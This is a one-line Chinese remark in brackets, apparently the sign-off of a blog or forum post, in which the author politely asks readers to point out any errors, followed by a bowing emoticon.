[如有错误,请指出,拜托了<( _ _ )> !!!]